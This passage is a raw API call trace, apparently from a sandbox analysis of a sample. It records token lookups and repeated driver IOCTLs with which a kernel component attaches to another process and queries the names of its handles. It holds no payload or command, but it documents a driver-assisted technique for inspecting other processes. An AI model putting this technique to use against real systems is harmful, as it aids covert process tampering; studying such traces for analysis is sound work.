out: Handle=0xfffff88005473670*=0xffffffff80000af8) returned 0x0 [0136.894] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18b [0136.894] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000af8, DesiredAccess=0x8, TokenHandle=0xfffffa800247d340 | out: TokenHandle=0xfffffa800247d340*=0xc8) returned 0x0 [0136.894] ZwClose (Handle=0xffffffff80000af8) returned 0x0 [0136.894] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.894] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0136.894] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0136.896] CloseHandle (hObject=0xc8) returned 1 [0136.896] CloseHandle (hObject=0xc0) returned 1 [0136.896] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.896] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0136.896] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.896] PsAcquireProcessExitSynchronization () returned 0x0 [0136.896] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.896] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f6b680, HandleInformation=0x0) returned 0x0 [0136.896] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.896] PsReleaseProcessExitSynchronization () returned 0x2 [0136.896] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.896] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005473508) returned 0x0 [0136.896] ObfDereferenceObject (Object=0xfffffa8002f6b680) returned 0x1 [0136.896] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.896] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.896] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.896] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x102, lpOverlapped=0x0) returned 1 [0136.896] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.896] PsAcquireProcessExitSynchronization () returned 0x0 [0136.896] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.896] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003233380, HandleInformation=0x0) returned 0x0 [0136.896] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.896] PsReleaseProcessExitSynchronization () returned 0x2 [0136.896] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.896] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.896] ObfDereferenceObject (Object=0xfffffa8003233380) returned 0x1 [0136.896] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.896] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.896] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.896] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0136.896] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.896] PsAcquireProcessExitSynchronization () returned 0x0 [0136.896] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.896] ObReferenceObjectByHandle (in: Handle=0x108, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0136.897] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.897] PsReleaseProcessExitSynchronization () returned 0x2 [0136.897] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.897] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa80024077c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80024077c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.897] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0x8 [0136.897] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.897] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.897] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.897] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.897] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.897] PsAcquireProcessExitSynchronization () returned 0x0 [0136.897] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.897] ObReferenceObjectByHandle (in: Handle=0x114, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0136.897] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.897] PsReleaseProcessExitSynchronization () returned 0x2 [0136.897] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.897] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800243d7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800243d7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.897] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0136.897] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.897] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.897] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.897] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0136.897] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.897] PsAcquireProcessExitSynchronization () returned 0x0 [0136.897] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.897] ObReferenceObjectByHandle (in: Handle=0x13c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003241f20, HandleInformation=0x0) returned 0x0 [0136.897] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.897] PsReleaseProcessExitSynchronization () returned 0x2 [0136.897] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.897] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.897] ObfDereferenceObject (Object=0xfffffa8003241f20) returned 0x1 [0136.897] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.897] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.898] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.898] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0136.898] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.898] PsAcquireProcessExitSynchronization () returned 0x0 [0136.898] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.898] ObReferenceObjectByHandle (in: Handle=0x144, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80032429e0, HandleInformation=0x0) returned 0x0 [0136.898] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.898] PsReleaseProcessExitSynchronization () returned 0x2 [0136.898] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.898] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.898] ObfDereferenceObject (Object=0xfffffa80032429e0) returned 0x1 [0136.898] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.898] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.898] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.898] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0136.898] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.898] PsAcquireProcessExitSynchronization () returned 0x0 [0136.898] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.898] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0136.898] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.898] PsReleaseProcessExitSynchronization () returned 0x2 [0136.898] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.898] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.898] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0136.898] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.898] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.898] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.898] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0136.898] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.898] PsAcquireProcessExitSynchronization () returned 0x0 [0136.898] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.898] ObReferenceObjectByHandle (in: Handle=0x168, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0136.898] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.898] PsReleaseProcessExitSynchronization () returned 0x2 [0136.899] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.899] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.899] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0136.899] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.899] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.899] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.899] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0136.899] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.899] PsAcquireProcessExitSynchronization () returned 0x0 [0136.899] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.899] ObReferenceObjectByHandle (in: Handle=0x16c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003241bf0, HandleInformation=0x0) returned 0x0 [0136.899] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.899] PsReleaseProcessExitSynchronization () returned 0x2 [0136.899] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.899] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473508) returned 0x0 [0136.899] ObfDereferenceObject (Object=0xfffffa8003241bf0) returned 0x1 [0136.899] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.899] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.899] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.899] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0136.899] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.899] PsAcquireProcessExitSynchronization () returned 0x0 [0136.899] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.899] ObReferenceObjectByHandle (in: Handle=0x174, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800cfffdd0, HandleInformation=0x0) returned 0x0 [0136.899] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.899] PsReleaseProcessExitSynchronization () returned 0x2 [0136.899] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.899] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.899] ObfDereferenceObject (Object=0xfffffa800cfffdd0) returned 0x1 [0136.900] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.900] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.900] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.900] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0136.900] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.900] PsAcquireProcessExitSynchronization () returned 0x0 [0136.900] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.900] ObReferenceObjectByHandle (in: Handle=0x178, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002efddd0, HandleInformation=0x0) returned 0x0 [0136.900] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.900] PsReleaseProcessExitSynchronization () returned 0x2 [0136.900] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.900] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.900] ObfDereferenceObject (Object=0xfffffa8002efddd0) returned 0x1 [0136.900] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.900] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.900] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.900] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0136.900] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.900] PsAcquireProcessExitSynchronization () returned 0x0 [0136.900] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.900] ObReferenceObjectByHandle (in: Handle=0x18c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f6e070, HandleInformation=0x0) returned 0x0 [0136.900] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.900] PsReleaseProcessExitSynchronization () returned 0x2 [0136.900] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.900] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.900] ObfDereferenceObject (Object=0xfffffa8002f6e070) returned 0x1 [0136.900] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.900] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.900] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.900] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0136.900] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.900] PsAcquireProcessExitSynchronization () returned 0x0 [0136.900] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.900] ObReferenceObjectByHandle (in: Handle=0x1c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003245740, HandleInformation=0x0) returned 0x0 [0136.901] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.901] PsReleaseProcessExitSynchronization () returned 0x2 [0136.901] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.901] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.901] ObfDereferenceObject (Object=0xfffffa8003245740) returned 0x1 [0136.901] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.901] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.901] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.901] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0136.901] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.901] PsAcquireProcessExitSynchronization () returned 0x0 [0136.901] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.901] ObReferenceObjectByHandle (in: Handle=0x20c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80032623e0, HandleInformation=0x0) returned 0x0 [0136.901] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.901] PsReleaseProcessExitSynchronization () returned 0x2 [0136.901] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.901] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.901] ObfDereferenceObject (Object=0xfffffa80032623e0) returned 0x1 [0136.901] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.901] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.901] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.901] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0136.901] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.901] PsAcquireProcessExitSynchronization () returned 0x0 [0136.901] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.901] ObReferenceObjectByHandle (in: Handle=0x27c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800328b860, HandleInformation=0x0) returned 0x0 [0136.901] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.901] PsReleaseProcessExitSynchronization () returned 0x2 [0136.901] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.901] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88005473508) returned 